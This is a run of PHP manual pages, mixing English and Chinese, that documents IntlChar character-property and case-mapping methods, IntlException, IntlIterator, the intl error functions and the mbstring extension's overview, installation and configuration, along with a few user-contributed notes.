bool(false)

参见

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::totitle() - Make Unicode character titlecase

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Alphabetic Unicode property

  • ? IntlChar::istitle
  • IntlChar::isULowercase ?
  • PHP Manual
  • IntlChar
  • Check if code point has the Alphabetic Unicode property

IntlChar::isUAlphabetic

(PHP 7, PHP 8)

IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property

说明

public static IntlChar::isUAlphabetic(int|string $codepoint): ?bool

Check if a code point has the Alphabetic Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_ALPHABETIC)

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint has the Alphabetic Unicode property, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isUAlphabetic("A"));
var_dump(IntlChar::isUAlphabetic("1"));
var_dump(IntlChar::isUAlphabetic("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)

参见

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_ALPHABETIC

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Lowercase Unicode property

  • ? IntlChar::isUAlphabetic
  • IntlChar::isupper ?
  • PHP Manual
  • IntlChar
  • Check if code point has the Lowercase Unicode property

IntlChar::isULowercase

(PHP 7, PHP 8)

IntlChar::isULowercase — Check if code point has the Lowercase Unicode property

说明

public static IntlChar::isULowercase(int|string $codepoint): ?bool

Check if a code point has the Lowercase Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_LOWERCASE)

Note:

This is different than IntlChar::islower() and will return true for more characters.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint has the Lowercase Unicode property, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isULowercase("A"));
var_dump(IntlChar::isULowercase("a"));
var_dump(IntlChar::isULowercase("Φ"));
var_dump(IntlChar::isULowercase("φ"));
var_dump(IntlChar::isULowercase("1"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

参见

  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_LOWERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the general category "Lu" (uppercase letter)

  • ? IntlChar::isULowercase
  • IntlChar::isUUppercase ?
  • PHP Manual
  • IntlChar
  • Check if code point has the general category "Lu" (uppercase letter)

IntlChar::isupper

(PHP 7, PHP 8)

IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)

说明

public static IntlChar::isupper(int|string $codepoint): ?bool

Determines whether the specified code point has the general category "Lu" (uppercase letter).

Note:

This misses some characters that are also uppercase but have a different general category value. In order to include those, use IntlChar::isUUppercase().

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is an Lu uppercase letter, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isupper("A"));
var_dump(IntlChar::isupper("a"));
var_dump(IntlChar::isupper("Φ"));
var_dump(IntlChar::isupper("φ"));
var_dump(IntlChar::isupper("1"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

参见

  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::istitle() - Check if code point is a titlecase letter
  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • IntlChar::PROPERTY_UPPERCASE
  • ctype_upper() - 检测大写字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Uppercase Unicode property

  • ? IntlChar::isupper
  • IntlChar::isUWhiteSpace ?
  • PHP Manual
  • IntlChar
  • Check if code point has the Uppercase Unicode property

IntlChar::isUUppercase

(PHP 7, PHP 8)

IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property

说明

public static IntlChar::isUUppercase(int|string $codepoint): ?bool

Check if a code point has the Uppercase Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_UPPERCASE)

Note:

This is different than IntlChar::isupper() and will return true for more characters.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint has the Uppercase Unicode property, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isUUppercase("A"));
var_dump(IntlChar::isUUppercase("a"));
var_dump(IntlChar::isUUppercase("Φ"));
var_dump(IntlChar::isUUppercase("φ"));
var_dump(IntlChar::isUUppercase("1"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

参见

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_UPPERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the White_Space Unicode property

  • ? IntlChar::isUUppercase
  • IntlChar::isWhitespace ?
  • PHP Manual
  • IntlChar
  • Check if code point has the White_Space Unicode property

IntlChar::isUWhiteSpace

(PHP 7, PHP 8)

IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property

说明

public static IntlChar::isUWhiteSpace(int|string $codepoint): ?bool

Check if a code point has the White_Space Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_WHITE_SPACE)

Note:

This is different from both IntlChar::isspace() and IntlChar::isWhitespace().

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint has the White_Space Unicode property, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isUWhiteSpace("A"));
var_dump(IntlChar::isUWhiteSpace(" "));
var_dump(IntlChar::isUWhiteSpace("\n"));
var_dump(IntlChar::isUWhiteSpace("\t"));
var_dump(IntlChar::isUWhiteSpace("\u{00A0}"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

参见

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_WHITE_SPACE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a whitespace character according to ICU

  • ? IntlChar::isUWhiteSpace
  • IntlChar::isxdigit ?
  • PHP Manual
  • IntlChar
  • Check if code point is a whitespace character according to ICU

IntlChar::isWhitespace

(PHP 7, PHP 8)

IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU

说明

public static IntlChar::isWhitespace(int|string $codepoint): ?bool

Determines if the specified code point is a whitespace character according to ICU.

A character is considered to be a ICU whitespace character if and only if it satisfies one of the following criteria:

  • It is a Unicode Separator character (categories "Z" = "Zs" or "Zl" or "Zp"), but is not also a non-breaking space (U+00A0 NBSP or U+2007 Figure Space or U+202F Narrow NBSP).
  • It is U+0009 HORIZONTAL TABULATION.
  • It is U+000A LINE FEED.
  • It is U+000B VERTICAL TABULATION.
  • It is U+000C FORM FEED.
  • It is U+000D CARRIAGE RETURN.
  • It is U+001C FILE SEPARATOR.
  • It is U+001D GROUP SEPARATOR.
  • It is U+001E RECORD SEPARATOR.
  • It is U+001F UNIT SEPARATOR.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a whitespace character according to ICU, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::iswhitespace("A"));
var_dump(IntlChar::iswhitespace(" "));
var_dump(IntlChar::iswhitespace("\n"));
var_dump(IntlChar::iswhitespace("\t"));
var_dump(IntlChar::iswhitespace("\u{00A0}"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)

参见

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a hexadecimal digit

  • ? IntlChar::isWhitespace
  • IntlChar::ord ?
  • PHP Manual
  • IntlChar
  • Check if code point is a hexadecimal digit

IntlChar::isxdigit

(PHP 7, PHP 8)

IntlChar::isxdigit — Check if code point is a hexadecimal digit

说明

public static IntlChar::isxdigit(int|string $codepoint): ?bool

Determines whether the specified code point is a hexadecimal digit.

true for characters with general category "Nd" (decimal digit numbers) as well as Latin letters a-f and A-F in both ASCII and Fullwidth ASCII. (That is, for letters with code points 0041..0046, 0061..0066, FF21..FF26, FF41..FF46.)

This is equivalent to IntlChar::digit($codepoint, 16) >= 0.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a hexadecimal character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isxdigit("A"));
var_dump(IntlChar::isxdigit("1"));
var_dump(IntlChar::isxdigit("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

注释

Note:

In order to narrow the definition of hexadecimal digits to only ASCII characters use:

<?php
$isASCIIHexadecimal = IntlChar::ord($codepoint) <= 0x7F && IntlChar::isxdigit($codepoint);
?>

参见

  • IntlChar::isdigit() - Check if code point is a digit character
  • ctype_xdigit() - 检测字符是否只包含十六进制字符

User Contributed Notes

There are no user contributed notes for this page.


Return Unicode code point value of character

  • ? IntlChar::isxdigit
  • IntlChar::tolower ?
  • PHP Manual
  • IntlChar
  • Return Unicode code point value of character

IntlChar::ord

(PHP 7, PHP 8)

IntlChar::ord — Return Unicode code point value of character

说明

public static IntlChar::ord(int|string $character): ?int

Returns the Unicode code point value of the given character.

This function complements IntlChar::chr().

参数

character

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the Unicode code point value as an integer.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::ord("A"));
var_dump(IntlChar::ord(" "));
var_dump(IntlChar::ord("\u{2603}"));
?>

以上示例会输出：

int(65)
int(32)
int(9731)

参见

  • IntlChar::chr() - Return Unicode character by code point value
  • mb_ord() - 获取字符的 Unicode 码位值
  • ord() - 转换字符串第一个字节为 0-255 之间的值

User Contributed Notes

There are no user contributed notes for this page.


Make Unicode character lowercase

  • ? IntlChar::ord
  • IntlChar::totitle ?
  • PHP Manual
  • IntlChar
  • Make Unicode character lowercase

IntlChar::tolower

(PHP 7, PHP 8)

IntlChar::tolower — Make Unicode character lowercase

说明

public static IntlChar::tolower(int|string $codepoint): int|string|null

The given character is mapped to its lowercase equivalent. If the character has no lowercase equivalent, the original character itself is returned.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the Simple_Lowercase_Mapping of the code point, if any; otherwise the code point itself. Returns null on failure.

返回类型是 int，如果代码点作为 UTF-8 string 传递，则会返回 string 。失败时返回 null。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::tolower("A"));
var_dump(IntlChar::tolower("a"));
var_dump(IntlChar::tolower("Φ"));
var_dump(IntlChar::tolower("φ"));
var_dump(IntlChar::tolower("1"));
var_dump(IntlChar::tolower(ord("A")));
var_dump(IntlChar::tolower(ord("a")));
?>

以上示例会输出：

string(1) "a"
string(1) "a"
string(2) "φ"
string(2) "φ"
string(1) "1"
int(97)
int(97)

参见

  • IntlChar::totitle() - Make Unicode character titlecase
  • IntlChar::toupper() - Make Unicode character uppercase
  • mb_strtolower() - 使字符串小写

User Contributed Notes

Patanjali 15-May-2020 11:00
The other function I wrote to replace mb_strtolower may not work properly, as it erroneously equated graphemes with codepoints.

tolower, like many IntlChar methods, works specifically on codepoints, so requires a codepoint iterator to isolate each.

Also, because in tolower, if there is no lowercase version of the codepoint, the supplied one is returned, so there is no need to specially test for alphabetic codepoints before conversion.

<?php
function u_tolower($text=''){
// if blank, return blank (don't waste CPU cycles)
if($text==''){return'';}

// create the codepoint break iterator to identify the start of each codepoint
$iterator=IntlBreakIterator::createCodePointInstance();

// load the text
$iterator->setText($text);

// using a parts iterator to extract each codepoint itself, convert and append it to the new string
$newtext='';
foreach($iterator->getPartsIterator() as $codepoint){$newtext.=IntlChar::tolower($codepoint);}

// return converted text
return $newtext;
}
?>


Make Unicode character titlecase

  • ? IntlChar::tolower
  • IntlChar::toupper ?
  • PHP Manual
  • IntlChar
  • Make Unicode character titlecase

IntlChar::totitle

(PHP 7, PHP 8)

IntlChar::totitle — Make Unicode character titlecase

说明

public static IntlChar::totitle(int|string $codepoint): int|string|null

The given character is mapped to its titlecase equivalent. If the character has no titlecase equivalent, the original character itself is returned.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the Simple_Titlecase_Mapping of the code point, if any; otherwise the code point itself. Returns null on failure.

返回类型是 int，如果代码点作为 UTF-8 string 传递，则会返回 string 。失败时返回 null。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::totitle("A"));
var_dump(IntlChar::totitle("a"));
var_dump(IntlChar::totitle("Φ"));
var_dump(IntlChar::totitle("φ"));
var_dump(IntlChar::totitle("1"));
var_dump(IntlChar::totitle(ord("A")));
var_dump(IntlChar::totitle(ord("a")));
?>

以上示例会输出：

string(1) "A"
string(1) "A"
string(2) "Φ"
string(2) "Φ"
string(1) "1"
int(65)
int(65)

参见

  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • mb_convert_case() - 对字符串进行大小写转换

User Contributed Notes

There are no user contributed notes for this page.


Make Unicode character uppercase

  • ? IntlChar::totitle
  • IntlException ?
  • PHP Manual
  • IntlChar
  • Make Unicode character uppercase

IntlChar::toupper

(PHP 7, PHP 8)

IntlChar::toupper — Make Unicode character uppercase

说明

public static IntlChar::toupper(int|string $codepoint): int|string|null

The given character is mapped to its uppercase equivalent. If the character has no uppercase equivalent, the character itself is returned.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the Simple_Uppercase_Mapping of the code point, if any; otherwise the code point itself.

返回类型是 int，如果代码点作为 UTF-8 string 传递，则会返回 string 。失败时返回 null。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::toupper("A"));
var_dump(IntlChar::toupper("a"));
var_dump(IntlChar::toupper("Φ"));
var_dump(IntlChar::toupper("φ"));
var_dump(IntlChar::toupper("1"));
var_dump(IntlChar::toupper(ord("A")));
var_dump(IntlChar::toupper(ord("a")));
?>

以上示例会输出：

string(1) "A"
string(1) "A"
string(2) "Φ"
string(2) "Φ"
string(1) "1"
int(65)
int(65)

参见

  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::totitle() - Make Unicode character titlecase
  • mb_strtoupper() - 使字符串大写

User Contributed Notes

There are no user contributed notes for this page.


Exception class for intl errors

(PHP 5 > 5.5.0, PHP 7, PHP 8, PECL intl > 3.0.0a1)

简介

This class is used for generating exceptions when errors occur inside intl functions. Such exceptions are only generated when intl.use_exceptions is enabled.

类摘要

class IntlException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The IntlIterator class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

This class represents iterator objects throughout the intl extension whenever the iterator cannot be identified with any other object provided by the extension. The distinct iterator object used internally by the foreach construct can only be obtained (in the relevant part here) from objects, so objects of this class serve the purpose of providing the hook through which this internal object can be obtained. As a convenience, this class also implements the Iterator interface, allowing the collection of values to be navigated using the methods defined in that interface. Both these methods and the internal iterator objects provided to foreach are backed by the same state (e.g. the position of the iterator and its current value).

Subclasses may provide richer functionality.

类摘要

class IntlIterator implements Iterator {
/* 方法 */
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Table of Contents

  • IntlIterator::current — Get the current element
  • IntlIterator::key — Get the current key
  • IntlIterator::next — Move forward to the next element
  • IntlIterator::rewind — Rewind the iterator to the first element
  • IntlIterator::valid — Check if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Get the current element

  • ? IntlIterator
  • IntlIterator::key ?
  • PHP Manual
  • IntlIterator
  • Get the current element

IntlIterator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::current — Get the current element

说明

public IntlIterator::current(): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • ? IntlIterator::current
  • IntlIterator::next ?
  • PHP Manual
  • IntlIterator
  • Get the current key

IntlIterator::key

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::key — Get the current key

说明

public IntlIterator::key(): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Move forward to the next element

  • ? IntlIterator::key
  • IntlIterator::rewind ?
  • PHP Manual
  • IntlIterator
  • Move forward to the next element

IntlIterator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::next — Move forward to the next element

说明

public IntlIterator::next(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the first element

  • ? IntlIterator::next
  • IntlIterator::valid ?
  • PHP Manual
  • IntlIterator
  • Rewind the iterator to the first element

IntlIterator::rewind

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::rewind — Rewind the iterator to the first element

说明

public IntlIterator::rewind(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if current position is valid

  • ? IntlIterator::rewind
  • intl 函数 ?
  • PHP Manual
  • IntlIterator
  • Check if current position is valid

IntlIterator::valid

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::valid — Check if current position is valid

说明

public IntlIterator::valid(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


intl 函数

Table of Contents

  • intl_error_name — Get symbolic name for a given error code
  • intl_get_error_code — Get the last error code
  • intl_get_error_message — Get description of the last error
  • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get symbolic name for a given error code

  • ? intl 函数
  • intl_get_error_code ?
  • PHP Manual
  • intl 函数
  • Get symbolic name for a given error code

intl_error_name

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_error_name — Get symbolic name for a given error code

说明

intl_error_name(int $errorCode): string

Return ICU error code name.

参数

errorCode

ICU error code.

返回值

The returned string will be the same as the name of the error code constant.

示例

Example #1 intl_error_name() example

<?php
$coll = collator_create( 'en_RU' );
$err_code = collator_get_error_code( $coll );

printf( "Symbolic name for %d is %s\n.", $err_code, intl_error_name( $err_code ) );
?>

以上示例的输出类似于：

Symbolic name for -128 is U_USING_FALLBACK_WARNING.

参见

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_get_error_code() - Get the last error code
  • intl_get_error_message() - Get description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Get the last error code

  • ? intl_error_name
  • intl_get_error_message ?
  • PHP Manual
  • intl 函数
  • Get the last error code

intl_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_get_error_code — Get the last error code

说明

intl_get_error_code(): int

Useful to handle errors occurred in static methods when there's no object to get error code from.

参数

此函数没有参数。

返回值

Error code returned by the last API function call.

示例

Example #1 intl_get_error_code() example

<?php
$coll = collator_create( '<bad_param>' );
if( !$coll ) {
handle_error( intl_get_error_code() );
}
?>

参见

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_message() - Get description of the last error
  • collator_get_error_code() - Get collator's last error code
  • numfmt_get_error_code() - Get formatter's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get description of the last error

  • ? intl_get_error_code
  • intl_is_failure ?
  • PHP Manual
  • intl 函数
  • Get description of the last error

intl_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_get_error_message — Get description of the last error

说明

intl_get_error_message(): string

Get error message from last internationalization function called.

参数

此函数没有参数。

返回值

Description of an error occurred in the last API function call.

示例

Example #1 intl_get_error_message() example

<?php
if( Collator::getAvailableLocales() === false ) {
show_error( intl_get_error_message() );
}
?>

参见

  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure
  • collator_get_error_message() - Get text for collator's last error code
  • numfmt_get_error_message() - Get formatter's last error message

User Contributed Notes

There are no user contributed notes for this page.


Check whether the given error code indicates failure

  • ? intl_get_error_message
  • 多字节字符串 ?
  • PHP Manual
  • intl 函数
  • Check whether the given error code indicates failure

intl_is_failure

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_is_failure — Check whether the given error code indicates failure

说明

intl_is_failure(int $errorCode): bool

参数

errorCode

is a value that returned by functions: intl_get_error_code(), collator_get_error_code() .

返回值

true if it the code indicates some failure, and false in case of success or a warning.

示例

Example #1 intl_is_failure() example

<?php
function check( $err_code )
{
var_export( intl_is_failure( $err_code ) );
echo "\n";
}

check( U_ZERO_ERROR );
check( U_USING_FALLBACK_WARNING );
check( U_ILLEGAL_ARGUMENT_ERROR );
?>

以上示例的输出类似于：

false
false
true

参见

  • intl_get_error_code() - Get the last error code
  • collator_get_error_code() - Get collator's last error code
  • Collator-getErrorCode() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


多字节字符串

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 支持编码的摘要
  • 日文字符多字节编码基础
  • HTTP 输入和输出
  • 支持的字符编码
  • 函数重载功能
  • PHP字符编码的要求
  • 多字节字符串 函数
    • mb_check_encoding — 检查字符串在指定的编码里是否有效
    • mb_chr — 按 Unicode 码位值返回字符
    • mb_convert_case — 对字符串进行大小写转换
    • mb_convert_encoding — 转换字符串，从一个字符编码到另一个字符编码
    • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
    • mb_convert_variables — 转换一个或多个变量的字符编码
    • mb_decode_mimeheader — 解码 MIME 头字段中的字符串
    • mb_decode_numericentity — 根据 HTML 数字字符串解码成字符
    • mb_detect_encoding — 检测字符的编码
    • mb_detect_order — 设置/获取 字符编码的检测顺序
    • mb_encode_mimeheader — 为 MIME 头编码字符串
    • mb_encode_numericentity — Encode character to HTML numeric string reference
    • mb_encoding_aliases — Get aliases of a known encoding type
    • mb_ereg_match — Regular expression match for multibyte string
    • mb_ereg_replace_callback — Perform a regular expression search and replace with multibyte support using a callback
    • mb_ereg_replace — Replace regular expression with multibyte support
    • mb_ereg_search_getpos — Returns start point for next regular expression match
    • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
    • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
    • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
    • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
    • mb_ereg_search_setpos — Set start point of next regular expression match
    • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
    • mb_ereg — Regular expression match with multibyte support
    • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
    • mb_eregi — Regular expression match ignoring case with multibyte support
    • mb_get_info — 获取 mbstring 的内部设置
    • mb_http_input — 检测 HTTP 输入字符编码
    • mb_http_output — 设置/获取 HTTP 输出字符编码
    • mb_internal_encoding — 设置/获取内部字符编码
    • mb_language — 设置/获取当前的语言
    • mb_list_encodings — 返回所有支持编码的数组
    • mb_ord — 获取字符的 Unicode 码位值
    • mb_output_handler — 在输出缓冲中转换字符编码的回调函数
    • mb_parse_str — 解析 GET/POST/COOKIE 数据并设置全局变量
    • mb_preferred_mime_name — 获取 MIME 字符串
    • mb_regex_encoding — Set/Get character encoding for multibyte regex
    • mb_regex_set_options — Set/Get the default options for mbregex functions
    • mb_scrub — Replace ill-formed byte sequences with the substitute character
    • mb_send_mail — 发送编码过的邮件
    • mb_split — 使用正则表达式分割多字节字符串
    • mb_str_pad — Pad a multibyte string to a certain length with another multibyte string
    • mb_str_split — 指定多字节字符串，返回其字符数组
    • mb_strcut — 获取字符的一部分
    • mb_strimwidth — 获取按指定宽度截断的字符串
    • mb_stripos — 大小写不敏感地查找字符串在另一个字符串中首次出现的位置
    • mb_stristr — 大小写不敏感地查找字符串在另一个字符串里的首次出现
    • mb_strlen — 获取字符串的长度
    • mb_strpos — 查找字符串在另一个字符串中首次出现的位置
    • mb_strrchr — 查找指定字符在另一个字符串中最后一次的出现
    • mb_strrichr — 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现
    • mb_strripos — 大小写不敏感地在字符串中查找一个字符串最后出现的位置
    • mb_strrpos — 查找字符串在一个字符串中最后出现的位置
    • mb_strstr — 查找字符串在另一个字符串里的首次出现
    • mb_strtolower — 使字符串小写
    • mb_strtoupper — 使字符串大写
    • mb_strwidth — 返回字符串的宽度
    • mb_substitute_character — 设置/获取替代字符
    • mb_substr_count — 统计字符串出现的次数
    • mb_substr — 获取部分字符串

User Contributed Notes

There are no user contributed notes for this page.


简介

虽然许多语言每个必要字符都能一对一映射到 8 比特（bit）的值，但也有好几种语言需要非常多的字符来书面通讯，以至于它们的编码范围不能仅仅包含在一个字节里（一个字节 Byte 由 8 比特 bit 构成。每一比特仅能包含两种不同的值： 1 或 0。所以，一字节仅能够表示 256 种不同的值，即 2 的八次方）。 开发多字节字符编码方案是为了在基于字节的常规编码系统中表达超过 256 个字符。

在你操作（trim、split、splice 等等）多字节编码的字符串的时候，由于在这种编码方案下，两个或多个连续字节可能只表达了一个字符，所以你需要使用专门的函数。 否则，当你将不能检测多字节字符串的函数应用到这个字符串的时候，它可能无法检测多字节字符的起始位置，并以乱码字符串结尾，基本丢失了它原来的意思。

mbstring 提供了针对多字节字符串的函数，能够帮你处理 PHP 中的多字节编码。 除此以外，mbstring 还能在可能的字符编码之间相互进行编码转换。 为了方便起见，mbstring 设计成了处理基于 Unicode 的编码，类似 UTF-8、UCS-2 及诸多单字节的编码（在 支持的编码 列出了）。

User Contributed Notes

There are no user contributed notes for this page.


安装

mbstring 不是一个默认扩展。这意味着它默认没有被激活。 你必须在 configure 选项中显式激活该模块。 详情参见安装这一节。

以下是涉及到 mbstring 的相关配置选项。

  • --enable-mbstring：激活 mbstring 函数。 要使用 mbstring 函数必须启用这个选项。

    libmbfl 对 mbstring 是必要的。libmbfl 被捆绑到了 mbstring。在 PHP 7.3.0 之前，如果系统已安装 libmbfl，--with-libmbfl[=DIR] 可以指定使用已安装的库。

  • --disable-mbregex：禁用正则表达式函数中多字节字符的支持。

    Oniguruma 对于支持多字节字符的正则表达式函数是必需的。自 PHP 7.4.0 起，pkg-config 用于检测 libonig 库。在 PHP 7.4.0 之前，Oniguruma 与 mbstring 捆绑，但可以通过传递 --with-onig[=DIR] 来对已安装的 libonig 库进行构建。

    可以通过指定 --disable-mbregex-backtrack 来禁用多字节正则表达式回溯检查。

User Contributed Notes

andreas dot sf93 at gmail dot com 04-Apr-2023 06:14
Install  mbstring :

-Linux/debian:

# Correct command

sudo apt install php-mbstring
Ajay Jha 04-Jan-2023 09:15
yum install php-mbstring
service httpd restart
cba dot allende at gmail dot com 02-Oct-2022 08:32
Install  mbstring :

-Linux/debian:

apt-get install php- mbstring


运行时配置

这些函数的行为受 php.ini 中的设置影响。

mbstring 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mbstring.language | "neutral" | PHP_INI_ALL |
mbstring.detect_order | NULL | PHP_INI_ALL |
mbstring.http_input | "pass" | PHP_INI_ALL | 已弃用
mbstring.http_output | "pass" | PHP_INI_ALL | 已弃用
mbstring.internal_encoding | NULL | PHP_INI_ALL | 已弃用
mbstring.substitute_character | NULL | PHP_INI_ALL |
mbstring.func_overload | "0" | PHP_INI_SYSTEM | 自 PHP 7.2.0 起弃用，PHP 8.0.0 起删除。
mbstring.encoding_translation | "0" | PHP_INI_PERDIR |
mbstring.http_output_conv_mimetypes | "^(text/|application/xhtml\+xml)" | PHP_INI_ALL |
